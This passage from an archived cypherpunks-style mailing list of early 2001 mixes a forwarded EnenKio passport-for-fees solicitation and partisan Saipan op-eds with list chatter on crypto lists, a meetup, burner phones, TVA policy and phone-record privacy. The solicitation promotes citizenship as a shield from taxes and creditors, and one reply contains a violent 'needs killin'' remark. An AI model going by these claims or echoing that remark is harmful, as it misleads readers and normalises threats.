character who make a significant contribution to the growth and economy
of EnenKio. This is aimed at stimulating inward investment and
harnessing managerial and entrepreneurial skills to help the country's
development. EnenKio law provides the fundamental basis for the
operation of the ECP. This was made possible through the EnenKio
Constitution.
In 1995, the EnenKio Development Act was passed into law to provide as
follows:
"The establishment of citizenship in the Kingdom shall be by mutual
consent. The possession of citizenship in any other jurisdiction shall
not prejudice establishment of citizenship in the Kingdom, provided that
any pronouncement of allegiance required by any other nation, shall not
be in conflict with any required citizens of the Kingdom."
See: Legal Opinion 
Qualifying factors
Every Applicant is a qualified citizen if:
- born unto a parent who is, prior to birth, a citizen; or,
- born within any jurisdiction of the Kingdom; or,
- a citizen or resident of the Marshall Islands; or,
- a person of Marshallese ancestry; or
- married to a citizen, or one qualified as a citizen.
Other Applicants for citizenship are invited to apply and shall qualify
to become a naturalized citizen if they:
- have attained an age of five (5) years; and,
- submit a completed passport application; and,
- successfully pass security and proof of identity checks; and,
- enclose 4 color photographs, one signed on right side margin; and,
- have proffered allegiance to the Kingdom by signing oath; and,
- have been accepted as a member of Kio Royale and remain such in good
standing; or,
- receive a grant of citizenship on economic, hardship or other valid
government program.
Any applicant who is becomes eligible or is granted citizenship under
the ECP shall be entitled to receive benefits that pertain to the
particular option(s) selected. Certain Applicants, by reason of
political affiliation, business activity, professional exploits,
occupational achievements or other personal history, having become
ineligible for citizenship in the country of origin thereby, may become
eligible under a special administrative amnesty policy and would be
evaluated on a case-by-case basis. Passports and other documents issued
under the ECP generally have limited terms, but may be converted to
regular permanent terms after two years. A committee within the EnenKio
Ministry of Foreign Affairs carefully screens prospective applicants for
ECP options.
Program Options
Kio Royale Membership – Active members of this private independent
service-oriented advocacy group support the efforts of the government of
EnenKio in its mission to assist persons of Marshallese ancestry to
regain occupation and jurisdiction over the lands and seas of Eneen-Kio
Atoll and protect their natural rights to self-determination. There are
4 categories of membership with Initiation fees ranging from $500 to
$10,000. An active service requirement term applies to 3 categories.
Annual dues range from $50 to $100. Benefits include Membership
certificate, eligibility of single or family citizenship grant,
Diplomatic Service Corps certificate and waiver of Active Service
Requirement term. Payment can be accepted in equivalent amount of any
internationally traded currency. Application Form 
Credit Trust Account – Individuals of good character who want to make
a loan to the government of EnenKio may contact the Ministry of Foreign
Affairs. Loans can be made in any internationally traded currency, in
precious metals or another agreed form.  Some restrictions pertaining
to jurisdiction of lender's origin or domicile may apply.  Such
restrictions and domain considerations are the sole responsibility of a
lender to verify legality of any EnenKio loan, barter or payment
program.
Land Lease Program – Individuals of good character who desire or 
intend to establish, settle or maintain a residence in the North Pacific
Islands may do so by becoming a leaseholder with interests in the
Northern Ratak atolls under ascendancy of His Majesty King Remios of the
Kingdom of EnenKio. Upon execution of such a lease, application fees for
EnenKio citizenship are waived. The government of EnenKio will sponsor
leaseholders (as EnenKio citizens) to apply for an Immigration Visa from
the Republic of the Marshall Islands (RMI). Meeting RMI requirements for
residency and otherwise will lead to Marshall Islands citizenship. By
this process individuals or families can gain full citizenship and gain
the right to work or do business in EnenKio and the Marshall Islands.
Amnesty Program – This program is reserved for individuals and
families who have become "stateless" refugees and are without
citizenship elsewhere. Provisions are generally the same as those of the
Kio Royale or Credit Trust Account program, but entail a waiver of the
active service requirement. In this way, refugees or stateless persons
of good character may be obtain permanent citizenship immediately.
Active Service Requirement (ASR)
When an "active service requirement" term applies, it affords the
parties an opportunity to verify the terms of the relationship in lieu
of the residency requirement commonly imposed by other states. Islands
of Eneen-Kio Atoll are currently being held under force of arms by
occupation forces of the United States, so residency there is not
possible. For those wanting to physically relocate to the islands, the
Land Lease Program is your best alternative. The current ASR term in
effect is 24 months. What this means is that your passport will look
like a regular EnenKio passport, but will have an expiration date of
approximately 2 years after issuance. Within 2 months of expiration, ASR
passport holders will need to re-apply for "permanent resident" status.
Upon approval, a regular 5-year passport will be issued.
Reasons to acquire a second citizenship
to establish a legal domicile 
to protect assets and income from oppressive taxation, creditors,
judgments or litigation.
to simplify travel to countries restricted under current citizenship.
to avoid persecution on religious, ethnic or political grounds.
to immigrate to a democratic peace-loving country such as EnenKio.
to find a stable country where substantial investments can be made.
Multi-national policy
EnenKio recognizes multi-national citizenship so individuals who benefit
under this program can retain their original citizenship if needed.
Individuals approved under this program enjoy all rights, privileges and
diplomatic protection as bona fide citizens of the Kingdom of EnenKio.
How to apply under the Economic Citizenship Program
Applicants choose an option and contact a consulate or the Ministry of
Foreign Affairs central office. Any amounts to be paid or loaned to the
government are made payable to the Kingdom of EnenKio in any
internationally traded currency equivalent to the US dollar amounts
published. In addition, fees may be payable to licensed and bonded
immigration consultants who will accept applications and submit them to
EnenKio Ministry of Foreign Affairs for processing on behalf of the
applicant.
Reasons you may consider a second passport
Political instability in your country of origin makes travel on your
current passport difficult.
Your assets are vulnerable to loss, attachment or litigation.
You and your business are overburdened by taxation.
Your basic human right to travel is restricted.
You are not allowed to work or settle in another country.
Your life or business is threatened by your country's political or
economic situation.
Your religious or political beliefs are subject to persecution.
Fees
There are no Registration or Investment Fees. The payment of monies
represents payment for membership, consideration under contract,
document application processing, handling costs or fiscal loan amounts.
These amounts represent an applicant's commitment to the Kingdom of
EnenKio. Grant of citizenship represents the Kingdom of EnenKio's
commitment to an applicant.
All monies are paid directly to the Kingdom of EnenKio. Any fees to
cover costs of processing, legal charges and consulting is negotiated
with and payable to the Immigration Consultant if employed. Applications
under this program may be made through a licensed Immigration Consultant
or the Ministry of Foreign Affairs. Applicants do not need to visit or
reside in EnenKio. They can be sworn in at any EnenKio Delegation or
Consular office found in many parts of the world including the Americas,
Europe and the Middle East.
Advantages
EnenKio offers significant advantages over other programs offered by
other countries:
it is a small independent state with His Majesty King Remios as its head
of state, who is the ancestral head of about one-third of the atolls of
the Marshall Islands. 
the government is still small and is building new trading partners all
over the world. 
citizens can access certain unique financial trust services
enjoy a tax-free status for personal and business ventures
have the flexibility and dependability of a friendly political system
founded on principles similar to those of the original framers of the
constitution of the United States of America and Bill of Rights.
the islands are unspoiled, warm, pristine and blessed with normally
perfect weather.
every citizen can play a part in the development of the political,
social and economic order.
EnenKio has no outstanding unsatisfied obligations.
(Updated 10/23/2000)
home " welcome " mission " what's new " introduction " present status "
geography " history " contact us
development plan " documents " official acts " news releases " links "
photos " disclaimer " involvement
CALL- 808 923-0476 FAX/PH or E-Mail mp at enenkio.org  
Facts = http://www.enenkio.org
: 
: Spook Master for Inouye and Akaka- Allen P Stayman. "AL-GATE" By
Charles P. Reyes Jr. SAIPAN, Northern Mariana Islands (August 18, 1999
– Saipan Tribune)---John Del Rosario called it "The Pinto Boys
Plumbers Unit." Bruce Lloyd called it "Al-Gate." We could also call it
"North-Gate." But whatever it is called, it is clearly one of the
biggest scandals to hit Washington since the Monica Lewinsky affair.
Such a scandal merits much more mainland American media publicity than
it is currently receiving--and not just from the Wall Street Journal,
the Washington Times and the Washington Post, but from the Reader's
Digest, Inside Edition and 20/20 as well. Most especially from 20/20,
since it was celebrated for its award-winning CNMI sweatshop/forced
prostitution exposé. After all, wouldn't 20/20 like to know how they
served as willing dupes to David North, Global Exchange and other
co-conspirators bent on discrediting the CNMI and its free market
Republican allies? ABC's 20/20 should really produce this investigative
story. ABC's Brian Ross owes it to professional, fair-minded, ethical
journalism. Here is how such a show might go. Connie Chung: Good
evening, America. And welcome to 20/20. A few months ago, we produced a
special report called "The Shame of Saipan," detailing false charges of
sweatshops and prostitution on "American soil." Well, today we would
like to set the record straight and apologize for serving as the willing
dupes of Mr. David North, formerly of the U.S. Interior Department, who
flagrantly violated the Hatch Act in a shameless attempt to discredit
Saipan and its Republican allies. Charles Gibson: That's right, Connie.
There is compelling and convincing evidence to suggest that the U.S.
Department of Interior, Office of Insular Affairs, under the auspices of
Secretary Bruce Babbitt, former Director Allen Stayman and David North,
waged a vicious campaign of political destruction against a tiny set of
islands its office was specifically created to nurture, support and
protect. Our reporter Brian Ross has more . . . Brian? Brian Ross:
That's absolutely right, Charles. The U.S. Office of Insular Affairs
clearly violated the Hatch Act through the direct actions Mr. North and
possibly even Mr. Stayman. To this day, however, Mr. North still refuses
to comment on the matter, as this video clip clearly shows. (Episode now
switches to an ominous camera shot of Mr. North's House. Mr. North
leaves his house and Brian Ross peppers him with questions.) Brian Ross:
Mr. North, did you really violate the Hatch Act, and were you really out
to destroy Tom Delay? Mr. North: (Covering his head and waving Mr. Ross
away): No comment. No comment. I have no comment at this time. Please go
away. Brian Ross: Which was why we sent an undercover Republican posing
as a Democrat from the Democratic Congressional Campaign Committee to
speak to Mr. North prior to the scandal. It is all here on tape, and
it's worse than the undercover buyer speaking to garment magnate Willie
Tan. (Move to undercover film clip.) Undercover Republican (posing as a
Democratic labor union supporter): Mr. North, what are we going to do
about the CNMI? Mr. North: Don't worry, George Miller will never let
them go. He will kill them. I am working on getting more Democrats to
help George kill the CNMI and their evil Republican friends right now.
Yes, this story ought to be produced; unfortunately, it will never
happen--nothing even close. STAYMAN THE SCOUNDREL By Benhur C. Saladores
SAIPAN, Northern Mariana Islands (August 19, 1999 – Saipan
Tribune)---We have a new name for Mr. Allen Stayman. From now on, Mr.
Stayman will be known as "Stayman the scoundrel" in the Northern
Marianas. This is not mere name-calling, since a scoundrel is officially
defined as "a mean, worthless fellow; a rascal; a villain; a man without
honor or virtue." Such a description fits Mr. Stayman's character
perfectly. Consider the memo he wrote to Matt Angle, a former executive
director of the Democratic Congressional Campaign Committee (DCCC),
suggesting that U.S. Democrats "repudiate" former Governor Froilan C.
Tenorio. "Largely out of sight, there is a nominal Democrat, a Governor
running for reelection, who scorns our President, who is in Washington
this week playing footsie with the Republican House leadership, and who
should be repudiated -- in writing -- by the Nation's Democrats," wrote
Stayman the Scoundrel in an October 6, 1997 memo, according to Roll
Call. According to the Saipan Tribune, "Stayman further suggested that
the Democratic National Committee 'should repudiate these scoundrels.'"
Exactly who are 'these scoundrels' Mr. Stayman refers to? Froilan
Tenorio, of course--but not only the former governor: all of the
indigenous people as well. That is, all of the indigenous people who
refuse to be subjected to Mr. Scoundrel's program of federalization; who
refuse to be deprived of their local self-government and economic
self-sufficiency; who refuse to tolerate the lies Mr. Stayman, Mr. North
and their labor union cronies tell about our home islands. Mr. Stayman
is a scoundrel because he calls people who disagree with his politics
"scoundrels," because his radical leftist ideology clouds his
objectivity and drives him to violate federal laws (the Hatch Act) with
impunity. Stayman is a bureaucratic federal bully who was out to destroy
the CNMI's reputation and anybody who defends it. Mr. Scoundrel was out
to destroy our garment industry and ravage our economy--just to serve
his politics. He knew about David North's vicious campaign to unseat
U.S. House Republicans all along--and yet he did absolutely nothing
about it, probably because he was deeply involved in the anti-CNMI
crusade himself. Mr. Stayman is a scoundrel--"a mean, worthless fellow;
a rascal; a villain; a man without honor or virtue." That much is a fact
= www.enenkio.org
-------------------------------------------------------------------------------- 

Robert Moore, Minister Plenipotentiary, Kingdom of EnenKio Foreign Trade
Mission
DO-MO-CO Manager, Remios Hermios Eleemosynary Trust, Majuro, Marshall
Islands
http://www.enenkio.org




From ericm at lne.com  Sat Feb  3 16:33:35 2001
From: ericm at lne.com (Eric Murray)
Date: Sat, 3 Feb 2001 16:33:35 -0800
Subject: Coderpunks
In-Reply-To: <Pine.LNX.4.21.0102031614140.4384-100000@sovereign>; from vab@cryptnet.net on Sat, Feb 03, 2001 at 04:20:30PM -0500
References: <00e301c08b2d$b90781c0$a25ac818@fu> <Pine.LNX.4.21.0102031614140.4384-100000@sovereign>
Message-ID: <20010203163335.C19152@slack.lne.com>


On Sat, Feb 03, 2001 at 04:20:30PM -0500, V. Alex Brennen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> Does an active coderpunks list still exist?

Yes.

coderpunks at toad.com

-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From ravage at ssz.com  Sat Feb  3 16:24:20 2001
From: ravage at ssz.com (Jim Choate)
Date: Sat, 3 Feb 2001 18:24:20 -0600 (CST)
Subject: Fw: CfP - Workshop on Security of Mobile Multiagent Systems (SEMAS-2001) (fwd)
Message-ID: <Pine.LNX.3.96.1010203182411.3983F-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Sun, 4 Feb 2001 10:03:45 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: cryptography at c2.net
Subject: Fw: CfP - Workshop on Security of Mobile Multiagent Systems (SEMAS-2001)


--- begin forwarded text



From ravage at ssz.com  Sat Feb  3 16:26:59 2001
From: ravage at ssz.com (Jim Choate)
Date: Sat, 3 Feb 2001 18:26:59 -0600 (CST)
Subject: Coderpunks
In-Reply-To: <Pine.LNX.4.21.0102031614140.4384-100000@sovereign>
Message-ID: <Pine.LNX.3.96.1010203182540.3983H-100000@einstein.ssz.com>



http://einstein.ssz.com/cdr/index.html#relres

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

On Sat, 3 Feb 2001, V. Alex Brennen wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> Does an active coderpunks list still exist?
> 
> I'd like to sign off of cypherpunks because of the
> signal to noise ratio.  I'm working on a partial
> RFC2440 and RFC2040 implementations, and some other
> related projects. It would be nice to get on a list
> with other crypto programmers. 
> 
> I'd appreciate any solid pointers.
> 
> Thanks,
> 
> 	- VAB
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.4 (GNU/Linux)
> Comment: Made with pgp4pine 1.75-6
> 
> iD8DBQE6fHYw+pIJc5kqSz8RAgMUAKCsVcSkXCGwFD5OX42CbiCBLtP9KACglyEP
> 9vA2Yfkom6QCGVZAnzwynI4=
> =lJQm
> -----END PGP SIGNATURE-----
> 
> 
> 




From bear at sonic.net  Sat Feb  3 19:01:11 2001
From: bear at sonic.net (Ray Dillinger)
Date: Sat, 3 Feb 2001 19:01:11 -0800 (PST)
Subject: War On Drugs Targets Tech
In-Reply-To: <v0422085bb6a1ef8e2825@[198.4.94.218]>
Message-ID: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net>




Drugs will never be legalized in the United States.  We've been 
focusing on legislators, but the problem is even more basic than 
that: The Mafiosi and the gangsters won't allow it. 

They can't make the kind of profit margins they're accustomed to 
when legal suppliers can produce coke for $6 an ounce or Marijuana 
for $1.50 a 40-pound bale.

So look for major contributions to the campaign funds of drug 
warriors if it ever looks like their cash cow is in danger.

Note:  This assumes that gangsters are not stupid - which is 
definitely *NOT* in evidence, so I could be wrong about this; 
but it is certainly true that life would suck for them if drugs 
were legalized.

				Bear




From vab at cryptnet.net  Sat Feb  3 16:45:04 2001
From: vab at cryptnet.net (V. Alex Brennen)
Date: Sat, 3 Feb 2001 19:45:04 -0500 (EST)
Subject: Coderpunks
In-Reply-To: <Pine.LNX.3.96.1010203182540.3983H-100000@einstein.ssz.com>
Message-ID: <Pine.LNX.4.21.0102031940310.4828-100000@sovereign>

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From ravage at ssz.com  Sat Feb  3 19:17:14 2001
From: ravage at ssz.com (Jim Choate)
Date: Sat, 3 Feb 2001 21:17:14 -0600 (CST)
Subject: Cypherpunks Physical Meet - Austin, Tx., Tue. 13'th 
Message-ID: <Pine.LNX.3.96.1010203211441.3983J-100000@einstein.ssz.com>



Time:                Feb. 13, 2001
                     Second Tuesday of each month 
                     7:00 - 9:00 pm (or later)

Location:            Central Market HEB Cafe
                     38th and N. Lamar
                     Weather permitting we meet in the un-covered tables.
                     If it's inclimate but not overly cold we meet in the 
                     outside covered section. Otherwise look for us inside
                     the building proper.

Identification:      Look for the group with the "Applied Cryptography"
                     book. It will have a red cover and is about 2 in. thick
                     with white lettering.

Contact Info:        http://einstein.ssz.com

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From commerce at home.com  Sat Feb  3 22:43:32 2001
From: commerce at home.com (Me)
Date: Sun, 4 Feb 2001 01:43:32 -0500
Subject: pre paid cellphones
Message-ID: <00cd01c08e75$d271e010$0100a8c0@golem>


preface: i know nothing about cell phones.  i have never used one before.
please dont laugh at me.

i need a throw-away pre-paid cell phone to use tommorow.  just tommorow, so im
not looking to waste $ on anything besides a pre-paid phone.

i am in canada, will use it here, and want to buy it here.  e.g. one of those
$100 fido or bell solo phones.

i will also need to use it in the united states.

can anyone tell me if these phones are capable of working in the united
states?

thanks. :P





From forgot at paypal.com  Sun Feb  4 00:15:50 2001
From: forgot at paypal.com (forgot at paypal.com)
Date: 4 Feb 2001 08:15:50 -0000
Subject: Forgotten Password
Message-ID: <981274550.1087.qmail@superfly.confinity.com>


This email was sent automatically by the PayPal server in response 
to your request to recover your password. This is done for your 
protection --- only you, the recipient of this email can take the next 
step in the password recovery process. 

To reset your password, you will need to provide the answers to the 
two secret questions you chose when you signed up for your PayPal 
account. To continue, follow the link below, which will lead you to a 
web page containing your secret questions. 

If you use AOL, please copy the link below and paste it into the 
Web address field: 

https://secure.paypal.com/fq/ac=15491854515632137609

If you need help, please contact customer service by email 
at service at paypal.com. 

Thanks for using PayPal!

*********************************************************************
                      PAYPAL SECURITY REMINDERS

                        Protect Your Password

PayPal and its representatives will NEVER ask you to reveal your 
password. There are NO EXCEPTIONS to this policy. If anyone asks for 
your password by phone or by email, or on any website other than
PayPal.com, refuse and immediately report this to service at paypal.com.

                     Email Links and Logging In

If you are logging in to your PayPal account after clicking a link 
in an email or clicking on a logo, make sure the URL appearing in 
your browser window begins with http://www.paypal.com or 
https://secure.paypal.com.

*********************************************************************





From YouWithLvv at aol.com  Sun Feb  4 12:28:22 2001
From: YouWithLvv at aol.com (YouWithLvv at aol.com)
Date: Sun, 4 Feb 2001 15:28:22 EST
Subject: FDR wanted the TVA to be ...
Message-ID: <9c.b6178ae.27af1566@aol.com>


FDR wanted the TVA to be ...
"... forever a yardstick to prevent extortion against the public and to 
encourage the wider use of that servant of the people -- electric power."

Dear Friend,

In this Age of Privatization and Deregulation, it is perhaps heresy to 
suggest that sometimes public[government] ownership of utilities has any 
merit at all, but ...
... read the history!  (www.tva.gov)  Sometimes government -- our government 
-- MUST step into the free-market free-for-all  just simply to get things 
which are in the public interest done.

Dear Friend,

Please permit me to commit heresy and propose an updated version of FDR's 
"New Deal" TVA project: A new government corporation created specifically to 
integrate and utilize our national nuclear energy resources for the peacetime 
generation of "that servant of the people -- electric power" -- nuclear 
power! -- [it can be] the cheapest, cleanest, and safest of our electricity 
generation fuel alternatives if it is so managed as such.  

What would the "new" government corporation do?  For a start, it would assume 
control of the Yucca Mountain High-level Nuclear Repository project.  It has 
been reported that the DOE has already spent more than six billion dollars  
just studying the Yucca Mountain site.  Enough already!  For six billion 
dollars, we could have already built the Mother of All Nuclear Storage 
Facilities -- plus a nuclear reprocessing plant -- plus a regional nuclear 
power generating complex (the low bid on the government contract to build 
Hoover Dam was only 48.9 million dollars -- but that was back in 1933 when 
times were depressed).

Heresy?  Is it heresy to have our Federal government get into the business of 
 building and operating nuclear power plants?  Ask the Department of Navy 
from whence came the money to build the Warrior-class nuclear submarines and 
Nimitz-class nuclear aircraft carriers.
Like it or not, the USA is a nuclear power -- we live in a nuclear world.  We 
have just not done a very good job of applying nuclear technology to civilian 
uses here at home.  Safety?  The U.S. Navy makes the claim that the 
technicians who operate the power plants onboard the nuclear subs are 
subjected to less radiation during a two-month underwater cruise than they 
would have been subjected to by background (natural)  radiation during the 
same period had they been stationed stateside!  Those claims are undoubtedly 
true.  Could the U.S. Government (the new nuclear corporation based upon the 
TVA example) obtain a "permit" to build a nuclear power plant complex on 
Federal land at Yucca Mountain?  One supposes that if they wished to do so, 
then obtaining a permit would be almost as difficult as obtaining the 
harbour-master's permission to dock a nuclear sub at San Diego -- no problem.

Perhaps the real problem with the lagging pace of peacetime nuclear energy 
usage here in the USA lies in the fact that our government has not taken a 
strong leadership role in getting it done -- the private sector has not had a 
"yardstick" by which to gauge its own progress.
We complain about our dependence upon foreign oil, but we do nothing to 
relieve that dependence.  We complain about our "dirty" air, and yet we 
suffer through all the smog alert days hoping for it to clear tomorrow.  
France, on the other hand, has today about 80%  of  its electricity generated 
by nuclear power and also has the cleanest air in Europe -- plus they have 
reduced their dependence upon imported oil during the same time frame (these 
last 20 years) in which we have increased our own dependence.  Does our 
energy policy make better sense than the French policy?

Pease, please take some time to visit the TVA website (www.tva.gov) -- and -- 
if after reading the TVA history you agree with me that history does repeat 
and that once again it is time for government action to either give OR APPLY 
a yardstick to the utility industry, then let your elected representatives in 
Congress know.  Even if you may disagree with me about Yucca Mountain and 
nuclear energy, let us do agree to be proactive about getting our country 
back on track towards a rational energy policy.  Like Nevada's popular Judge 
Mills Lane might say, "Let's get it on!"

Sincerely yours,

Buddy M. Beard
Sparks, Nevada
03/02/01




From hseaver at harmon.arrowhead.lib.mn.us  Sun Feb  4 14:17:28 2001
From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver)
Date: Sun, 04 Feb 2001 16:17:28 -0600
Subject: FDR wanted the TVA to be ...
References: <9c.b6178ae.27af1566@aol.com>
Message-ID: <3A7DD494.C813653B@harmon.arrowhead.lib.mn.us>


      Ah yes, the TVA -- wasn't that the bunch of fed assholes who stole
all the farms and homes of thousands upon thousands of American citizens
and at the same time taking away their livelihood, destroying the graves
of their ancestors, tearing apart old, old communities, all for the
purpose of .... hmm, of what? Flooding millions of acres of beautiful
land, creating environmental havoc over a large portion of Tennessee and
Kentucky as well as other states, drowning billions of animals?
      Wonderful, just wonderful --- and you want these cretins to do the
same things elsewhere -- only with nukes this time, eh? Great idea! I
got a better one ---
        Hey Tim -- here's another one that needs killin'.




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From: cupid at adultfriendfinder.com (cupid at adultfriendfinder.com)
Date: 4 Feb 2001 16:37:57 -0800
Subject: Adult Friend Finder Cupid Report for oddodoodo
Message-ID: <20010205003757.1067.qmail@e81.friendfinder.com>


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From YouWithLvv at aol.com  Sun Feb  4 14:27:27 2001
From: YouWithLvv at aol.com (YouWithLvv at aol.com)
Date: Sun, 4 Feb 2001 17:27:27 EST
Subject: FDR wanted the TVA to be ...
Message-ID: <bb.b723e8b.27af314f@aol.com>


You may be right -- Thanks for the feedback.  Have a good day. B.




From virus at netcabo.pt  Sun Feb  4 10:01:19 2001
From: virus at netcabo.pt (virus at netcabo.pt)
Date: 4 Feb 2001 18:01:19 +0000
Subject: Rel�gios
Message-ID: <0d06b1901180421TVCABO05@netcabo.pt>



AKTEO

UM MODO DIFERENTE DE CONTAR O TEMPO


http://www.virus-lda.pt




From TexanJay at msn.com  Sun Feb  4 18:16:55 2001
From: TexanJay at msn.com (Jason Black)
Date: Sun, 4 Feb 2001 20:16:55 -0600
Subject: Problems Accesing site
Message-ID: <OE160cF9j3aPYGi4VHH00004cb3@hotmail.com>

I can't seem to get access to the Heather webcam what's wrong??

Jason Black<br clear=all><hr>Get your FREE download of MSN Explorer at <a href="http://explorer.msn.com">http://explorer.msn.com</a><br></p>
-------------- next part --------------
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From proff at iq.org  Sun Feb  4 04:27:23 2001
From: proff at iq.org (Julian Assange)
Date: 04 Feb 2001 23:27:23 +1100
Subject: Speaking of corporate complicities [was Cracking Over Coding]
In-Reply-To: Julian Assange's message of "04 Feb 2001 20:25:59 +1100"
References: <005801c08974$56274640$3e0a989e@eloka> <200102031655.LAA28543@blount.mail.mindspring.net> <004d01c08977$2fc929c0$3e0a989e@eloka> <wxu26asst4.fsf@suburbia.net>
Message-ID: <wxhf2askes.fsf_-_@suburbia.net>



   http://www.theage.com.au/news/2001/02/04/FFX73146QIC.html 

   Anger at plundered phone records
   By BRENDAN NICHOLSON
   POLITICAL CORRESPONDENT
   THE AGE
   Sunday 4 February 2001
   
   Watchdog groups are demanding urgent changes to a system that last
   year allowed police and other government agencies to access
   confidential phone records on more than a million occasions without
   search warrants.
   
   The Australian Communications Authority has confirmed that
   telecommunications companies passed on information to law-enforcement
   and other government agencies 998,548 times in 1999-2000 - a move
   condemned as wholesale invasion of privacy.
   
   The extraordinary access to phone records does not include information
   given to the Australian Security Intelligence Organisation, which is
   believed to be substantial and which the agency is not obliged to
   disclose.
   
   The information revealed included telephone accounts, numbers dialled,
   the time calls were made and their duration, and use of the Internet.
   These disclosures were made at a rate of more than 19,000 a week, or
   nearly 4000 on any working day.
   
   This process is separate from telephone interception, or phone
   tapping, which has also increased dramatically in the past three
   years, but which requires law-enforcement officers to obtain a
   warrant.
   
   The scant information about the process was released by the
   communications authority in a written answer to a question asked by
   the Federal Opposition during Senate hearings.
   
   But the ease and frequency with which police and other agencies are
   combing through phone records triggered serious concerns about the
   system's lack of privacy safeguards.
   
   Mr Chris Maxwell, QC, president of Liberty Victory, the Victorian
   Council for Civil Liberties, said the figures revealed a wholesale
   invasion of privacy. "People's phone records are their private affair.
   No one else should have access to them except in exceptional
   circumstances.
   
   "Police access to phone records has apparently become a matter of
   routine."
   
   Mr Maxwell said the Federal Government should take action immediately
   to find how and why this had occurred and to change the rules so that
   access was limited to cases of serious crime.
   
   "The stringent requirements for telephone tapping warrants would
   provide a good starting point," Mr Maxwell said.
   
   Tim Dixon, chairman of the Australian Privacy Foundation, set up in
   response to public concerns about the Australia Card in 1987, said a
   colossal amount of information was being collected.
   
   "And in any practical sense there is no monitoring and no auditing or
   assessment of whether or not those inquiries are relevant.
   
   "It sounds as though they are using it as an ordinary person uses
   directory service."
   
   Mr Dixon suggested that an ombudsman could audit the process by
   randomly selecting 1000 examples of access to information and
   examining why it was sought and whether it was justified.
   
   "Having a mechanism like that in place would give you much greater
   assurance that there will be some accountability and there won't be
   inappropriate use," he said.
   
   "But at the moment there is no mechanism like that, and given the
   enormous number of occasions when information is being obtained I
   can't imagine that there is any restraint on using those powers.
   
   "It could clearly be abused and none of us would know."
   
   Democrats privacy spokeswoman Senator Natasha Stott-Despoja said she
   was astounded that such a vast amount of information was being handed
   over without adequate safeguards. She said that when the power to
   access telecommunications information without a warrant was granted,
   the intention was clearly that it be used to combat major crime.
   Exactly who oversees the process is unclear, with Attorney-General
   Daryl Williams' office referring inquiries to Communications Minister
   Richard Alston, and Senator Alston's office referring them back to Mr
   Williams.
   
   The Telecommunications Act of 1997 allows telecommunications companies
   to release information to federal and state law-enforcement agencies
   without seeing a warrant if the agencies satisfy them that disclosure
   is "reasonably necessary".
   
   Ninety-eight per cent of the disclosures were made by Telstra, Cable
   and Wireless Optus and Vodafone.
   
   Labor frontbencher Laurie Brereton said it was clear from the massive
   number of disclosures that access to records was "a matter of casual
   and routine procedure".
   
   The system could also allow whistleblowers to be hunted down and
   persecuted, he said.
   
--
 Julian Assange        |If you want to build a ship, don't drum up people
                       |together to collect wood or assign them tasks and
 proff at iq.org          |work, but rather teach them to long for the endless
 proff at gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery




From dmolnar at hcs.harvard.edu  Sun Feb  4 22:53:24 2001
From: dmolnar at hcs.harvard.edu (dmolnar)
Date: Mon, 5 Feb 2001 01:53:24 -0500 (EST)
Subject: plausible deniability
In-Reply-To: <20010131021026.C1507@eskimo.com>
Message-ID: <Pine.OSF.4.05.10102050132430.20139-100000@hcs.harvard.edu>




You're right - now that I look at it in more depth, I'm not at all sure
that it's a PHD in philosophy. As opposed to just an ordinary doctorate in
some other field. Thanks for pointing this out...

This makes me even more interested to find material which discusses
zero-knowledge proofs from, say, a philosophy of math standpoint. or
anything "interesting" yet outside the usual technical standpoint.

As for your question, I don't know of any e-mail software which offers
plausible deniability. Maybe something to add to gpg?

-David


On Wed, 31 Jan 2001, Wei Dai wrote:

> On Mon, Jan 29, 2001 at 02:52:03AM -0500, dmolnar wrote:
> > I just came across this PhD thesis in philosophy:
> > 
> > "Cryptography and Evidence" 
> > Michael Roe
> > http://www.research.microsoft.com/users/mroe/THESIS.PDF
> 
> Are you sure this is a thesis in philosophy? It seems to talk about the
> rather practical concerns of non-repudiation and its converse, plausible
> deniability. The paper reminds me of something I was wondering about: are
> there any email security programs that offer plausible deniability as an
> option? Sometimes you want to MAC a message with an authenticated
> symmetric key instead of signing it in order to preserve plausible
> deniability, but PGP for example doesn't seem to offer this.
> 




From ravage at einstein.ssz.com  Mon Feb  5 05:11:17 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 05 Feb 2001 07:11:17 -0600
Subject: CNN.com - Technology - New notebooks offer biometric protection - February 2, 2001
Message-ID: <3A7EA675.B6208061@ssz.com>


http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ech0mega at rlc.net  Mon Feb  5 06:39:33 2001
